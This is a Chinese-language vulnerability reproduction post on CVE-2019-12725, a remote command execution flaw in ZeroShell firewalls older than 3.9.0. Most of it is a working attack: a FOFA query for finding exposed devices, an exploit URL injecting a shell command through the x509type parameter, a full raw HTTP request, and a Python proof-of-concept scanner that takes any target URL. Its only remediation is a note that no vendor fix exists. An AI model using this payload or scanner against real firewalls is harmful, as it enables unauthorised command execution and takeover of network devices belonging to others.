ZeroShell防火墙存在远程命令执行漏洞(CVE-2019-12725)

本文涉及的产品
云防火墙,500元 1000GB
简介: zeroshell防火墙存在远程命令执行漏洞,攻击者可通过特定URL链接对目标进行攻击!!!

声明


本篇文章仅用于漏洞复现技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!


二、漏洞描述


 ZeroShell防火墙版本小于3.9.0存在命令执行(CVE-2019-12725) , 攻击者可通过特定URL Payload对目标实施攻击,从而进行命令执行获取目标服务器敏感信息。

CVE编号:CVE-2019-12725

CNNVD编号:CNNVD-201907-1141


三、影响版本


  • ZoreShell防火墙版本小于3.9.0

image.png

四、漏洞复现


FOFAapp="Zeroshell-防火墙"


漏洞链接:https://127.0.0.1/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27


本地环境复现


漏洞数据包

GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27 HTTP/1.1

Host: 127.0.0.1

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Connection: close

image.png

漏洞POC

#!usr/bin/env python

# *-* coding:utf-8 *-*

import requests

import sys

def run(arg):

   try:

       payload = "cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27"

       url = arg+payload

       r = requests.get(url,timeout=15,verify=False)

       if 'uid=' in r.text and 'gid=' in r.text and "groups=" in r.text:

             

               print('\033[1;31;40m')

               print(url+"存在zeroshell防火墙存在远程命令执行漏洞")

               print('\033[0m')

       else:

           print(arg+"不存在漏洞")

   except:

       print(arg+"不存在漏洞")

         

if __name__ == '__main__':

   url=sys.argv[1]

   run(url)

image.png

五、修复方案


 目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法 https://zeroshell.org/

目录
相关文章
|
6月前
|
Linux 网络安全
Centos 防火墙端口控制命令
Centos 防火墙端口控制命令
110 3
|
6月前
|
供应链 安全 应用服务中间件
防火墙是什么?聊聊如何轻松缓解应用漏洞
防火墙是什么?聊聊如何轻松缓解应用漏洞
70 6
|
网络协议 关系型数据库 Linux
Linux iptables 防火墙软件命令详解
Linux iptables 防火墙软件命令详解
335 0
|
网络协议 Linux 网络安全
Linux系列——关于防火墙iptables的常用命令
Linux系列——关于防火墙iptables的常用命令
|
2月前
|
机器学习/深度学习 安全 网络协议
Linux防火墙iptables命令管理入门
本文介绍了关于Linux防火墙iptables命令管理入门的教程,涵盖了iptables的基本概念、语法格式、常用参数、基础查询操作以及链和规则管理等内容。
226 73
|
23天前
|
安全 Linux 网络安全
centos7中firewall防火墙的常用命令总结
以上命令集覆盖了 `firewalld`的基本操作,是维护CentOS 7系统安全不可或缺的工具。对于更高级的配置需求或遇到特定问题
18 3
|
1月前
|
开发框架 缓存 Ubuntu
dotnet开发框架+ubuntu防火墙命令+win11设置自动登录+阿里云短信发送限制
dotnet开发框架+ubuntu防火墙命令+win11设置自动登录+阿里云短信发送限制
36 2
|
3月前
|
Linux 网络安全
linux关闭方防火墙的命令
linux关闭方防火墙的命令
78 2
|
4月前
|
Ubuntu 前端开发 Linux
Ubuntu防火墙命令大集合
【7月更文挑战第13天】
219 1
Ubuntu防火墙命令大集合
|
6月前
|
XML 安全 Linux
【Linux】深入探究CentOS防火墙(Firewalld):基础概念、常用命令及实例操作
【Linux】深入探究CentOS防火墙(Firewalld):基础概念、常用命令及实例操作